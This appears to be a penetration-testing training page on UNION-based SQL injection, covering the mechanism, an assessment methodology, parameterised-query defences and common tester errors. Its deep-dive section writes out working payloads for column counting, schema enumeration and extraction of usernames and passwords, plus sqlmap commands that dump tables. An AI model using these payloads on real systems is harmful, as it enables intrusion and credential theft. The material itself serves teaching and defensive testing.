SQL injection (classic)

Why This Matters

SQL injection has topped OWASP vulnerability rankings for over a decade and was the attack vector in some of the most damaging breaches on record: the 2008 Heartland Payment Systems compromise (130 million card numbers), the 2015 TalkTalk breach, and countless smaller incidents catalogued in the Verizon DBIR. UNION-based SQL injection is the most immediately demonstrative variant because it produces visible output inline with the application response, making it ideal for teaching the mechanics of the vulnerability class and for rapidly confirming exploitability during a penetration test. CVE entries for web frameworks and CMS plugins continue to reference this technique annually.

Core Concept

A SQL injection vulnerability exists when user-supplied input is interpolated directly into a SQL query string without parameterisation. The violated invariant is the separation between query structure (code) and query parameters (data). When an attacker can break out of the data context and inject SQL syntax, they control query logic.

UNION-based injection exploits the SQL UNION operator, which combines the result sets of two SELECT statements. The attacker appends a second SELECT to the original query, with the result that data from arbitrary tables is returned in the application response alongside (or instead of) the legitimate result. Two preconditions make UNION injection possible: (1) the injected SELECT must return the same number of columns as the original query, and (2) data types must be compatible column-by-column (or at least castable). Violating either condition produces a database error rather than merged output.

ORDER BY enumeration is the standard technique for discovering the column count: submitting ORDER BY 1--, ORDER BY 2--, ... until the query errors reveals the exact column count. NULL-based column count (UNION SELECT NULL,NULL,...--) is the alternative approach, particularly useful against databases that are strict about type matching.

The information_schema (available in MySQL, PostgreSQL, MSSQL, and MariaDB) is the attacker's map of the database: information_schema.tables lists all tables; information_schema.columns lists all columns including their data types and parent table. Oracle uses ALL_TABLES and ALL_COLUMNS instead.

Technical Deep-Dive

-- Step 1: Determine column count using ORDER BY
-- Inject into a GET parameter: /items?id=1 ORDER BY 1--
-- Increment until the application returns an error:
-- /items?id=1 ORDER BY 4--   → error → original query has 3 columns

-- Step 2: Identify which columns reflect data in the response
-- Use NULL placeholders; substitute strings one at a time:
-- /items?id=0 UNION SELECT NULL,NULL,NULL--   → baseline (no error)
-- /items?id=0 UNION SELECT 'a',NULL,NULL--    → if 'a' appears → col 1 is string
-- /items?id=0 UNION SELECT NULL,'a',NULL--    → if 'a' appears → col 2 is string

-- Step 3: Enumerate database metadata (MySQL / MariaDB)
-- List all table names in the current database:
-- id=0 UNION SELECT table_name,NULL,NULL FROM information_schema.tables
--      WHERE table_schema=database()--

-- Step 4: Enumerate columns of a target table
-- id=0 UNION SELECT column_name,NULL,NULL FROM information_schema.columns
--      WHERE table_name='users'--

-- Step 5: Extract data (concatenate multiple columns into one)
-- id=0 UNION SELECT CONCAT(username,0x3a,password),NULL,NULL FROM users--
-- 0x3a = ':' character as hex to avoid quote escaping issues

-- Error-based fingerprinting (MySQL extractvalue trick)
-- id=1 AND extractvalue(1,concat(0x7e,version()))--
-- Returns: XPATH syntax error: '~8.0.32' — leaks version in error message

-- MSSQL equivalent:
-- id=0 UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
-- id=0 UNION SELECT name,NULL,NULL FROM sys.databases--

-- PostgreSQL equivalent:
-- id=0 UNION SELECT tablename,NULL,NULL FROM pg_tables
--      WHERE schemaname='public'--

# sqlmap UNION-based exploitation
sqlmap -u "https://target.example.com/items?id=1" 
  --technique=U         # UNION-based only
  --dbs                 # enumerate databases
  --level=3 --risk=2

# After identifying target DB:
sqlmap -u "..." --technique=U -D targetdb --tables
sqlmap -u "..." --technique=U -D targetdb -T users --dump

# POST body injection:
sqlmap -u "https://target.example.com/login" 
  --data="username=admin&password=x" 
  -p username --technique=U --dbms=mysql

Security Assessment Methodology

1. Identify injection points — Use Burp Suite to intercept all requests. Flag parameters appearing in GET/POST that likely feed database queries: ID fields, search terms, filter parameters, sort/order fields.
2. Probe for SQL errors — Submit a single quote (') in each parameter. A raw SQL error in the response (e.g., "You have an error in your SQL syntax") immediately confirms injection and reveals the DBMS.
3. Determine column count — Use ORDER BY N-- incrementing from 1 until an error, or null-union probing (UNION SELECT NULL,NULL,...--).
4. Locate visible columns — Replace NULL values with distinct strings ('a', 'b') to identify which positions are reflected in the response.
5. Enumerate schema via information_schema — Extract table names, then column names of interest (look for user, credential, session, and configuration tables).
6. Extract target data — Use CONCAT or string-concatenation operators specific to the DBMS to retrieve multiple columns in a single injection.
7. Run sqlmap for breadth — Use --technique=U --dbs to confirm the manual findings and enumerate the full database scope; add --level=5 --risk=3 for comprehensive coverage.

Defensive Countermeasure — Use parameterised queries (prepared statements) exclusively. In every mainstream language this means: Java PreparedStatement, Python cursor.execute(query, params), PHP PDO with bindParam, Node.js mysql2 placeholders. ORM use (Hibernate, SQLAlchemy, ActiveRecord) is not automatically safe when raw query methods (query(), execute(), whereRaw()) are used with string interpolation. Enforce least-privilege database accounts that cannot read information_schema or cross-schema, and deploy a WAF rule set (ModSecurity CRS) as a detection layer — not as the sole defence.

Common Assessment Errors

• Forgetting comment syntax differences — MySQL uses -- (with trailing space) or #; MSSQL uses --; Oracle uses --; PostgreSQL uses --. Using # against MSSQL produces no error but also no injection.
• Not testing POST bodies and JSON — Testers focus on URL parameters and miss injection in POST form fields, JSON request bodies, and HTTP headers (User-Agent, Referer, X-Forwarded-For) that are logged and queried.
• Column count off-by-one errors — Failing to account for hidden columns that the application selects but does not render causes UNION payloads to error. Always enumerate column count rigorously before attempting UNION.
• Trusting WAF absence of error as absence of vulnerability — A WAF may suppress error messages while the injection still executes. Always test for blind indicators (response length difference, boolean conditions) when no error is visible.
• Not checking for second-column string compatibility — Numeric columns reject string injection. Use NULL in numeric positions and string markers only in VARCHAR/TEXT columns.
• Stopping at version disclosure — Reporting only @@version output understates the business impact. Demonstrate the full chain through to credential extraction or schema enumeration to accurately represent risk.

NICE Framework Alignment

Further Reading

• SQL Injection Prevention Cheat Sheet — OWASP Foundation
• The Web Application Hacker's Handbook, 2nd Edition — Stuttard & Pinto, Wiley
• sqlmap User Manual — sqlmap development team (sqlmap.org documentation)